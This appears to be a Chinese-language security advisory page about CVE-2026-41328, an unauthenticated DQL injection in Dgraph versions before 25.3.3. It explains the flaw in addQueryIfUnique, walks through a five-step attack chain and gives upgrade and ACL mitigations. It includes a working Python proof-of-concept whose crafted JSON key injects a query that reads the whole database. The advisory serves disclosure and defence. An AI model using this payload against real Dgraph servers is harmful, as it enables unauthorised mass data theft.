IPBUF安全漏洞报告
English
CVE-2026-41328 CVSS 9.1 严重

CVE-2026-41328 Dgraph未认证数据泄露漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41328
漏洞类型
DQL注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dgraph

相关标签

DQL注入数据泄露Dgraph未认证漏洞严重

漏洞概述

Dgraph 是一个开源分布式 GraphQL 数据库。在 25.3.3 版本之前,该产品存在一个严重的安全漏洞,允许未经身份验证的攻击者在默认配置(未启用 ACL)下读取数据库中的所有数据。攻击者通过向 8080 端口发送特制的 HTTP POST 请求,利用 DQL 注入漏洞绕过安全检查。这种未经授权的访问可能导致大规模的数据泄露风险,且无需任何用户交互即可被利用。

技术细节

漏洞核心在于 Dgraph 处理带有语言标签的 JSON mutation 时存在输入验证缺失。具体而言,`edgraph/server.go` 文件中的 `addQueryIfUnique` 函数利用 `fmt.Sprintf` 拼接 DQL 查询语句,直接使用了未经清洗的 `predicateName`。攻击者利用 `x.PredicateLang()` 解析 JSON key 中 `@` 后的文本作为语言标签,且该过程缺乏任何有效性验证。攻击链分为两步:首先,攻击者向 `/alter` 端点发送请求,创建包含 `@unique @index(exact) @lang` 的 schema predicate;其次,向 `/mutate?commitNow=true` 端点发送特制的 JSON payload,其中 key 设计为 `predicateName@PAYLOAD`。在这个 payload 中,攻击者注入右括号 `)` 以闭合原有的 `eq()` 函数调用,随后插入恶意的 DQL 查询块,并使用 `#` 符号注释掉模板字符串中剩余的语法结构。这种注入手法使得攻击者能够执行任意只读 DQL 查询,从而绕过认证机制获取数据库内所有敏感数据。

攻击链分析

STEP 1
步骤1:环境准备
攻击者向 Dgraph 的 /alter 接口发送请求,创建一个带有 @unique @index(exact) @lang 指令的 schema predicate,确保后续的 mutation 会经过包含漏洞的语言标签处理逻辑。
STEP 2
步骤2:构造 Payload
攻击者构造一个 JSON 对象,其 Key 为“PredicateName@注入代码”的格式。注入代码包含闭合括号以逃逸原有函数,并插入恶意 DQL 查询语句。
STEP 3
步骤3:发送恶意请求
攻击者将构造好的 JSON 数据通过 POST 请求发送到 /mutate?commitNow=true 接口。
STEP 4
步骤4:服务端注入执行
服务器端解析 JSON Key 时提取 @ 后的内容,未经清洗直接传递给 fmt.Sprintf。生成的 DQL 查询被执行,恶意查询块被运行。
STEP 5
步骤5:获取敏感数据
服务器将恶意查询的结果包含在 HTTP 响应中返回给攻击者,导致数据库中的所有数据被读取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = "http://localhost:8080" # Step 1: Setup schema with @lang to enable the vulnerable code path # This creates a predicate that accepts language tags schema = """ test: string @index(exact) @lang . """ requests.post(f"{target}/alter", data=schema) # Step 2: Exploit the DQL injection via JSON mutation # The injection payload closes the eq() function, adds a query block, and comments out the rest # Key format: predicateName@injection_payload injection_payload = { # Payload explanation: ) { func: all() { test } } # # 1. ')' closes the eq("test", "val") call inside addQueryIfUnique # 2. '{ func: all() { test } }' is the injected DQL query block # 3. '#' comments out the trailing syntax like '))' "test@) { all(func: has(test)) { uid test } } #": "value" } response = requests.post(f"{target}/mutate?commitNow=true", json=injection_payload) print("Status Code:", response.status_code) print("Response:", response.text)

影响范围

Dgraph < 25.3.3

防御指南

临时缓解措施
建议用户立即升级 Dgraph 至 25.3.3 或更高版本以修复此漏洞。如果无法立即升级,请务必启用 ACL 功能以限制未授权访问,并通过网络策略限制对 8080 端口的访问,仅允许可信 IP 连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表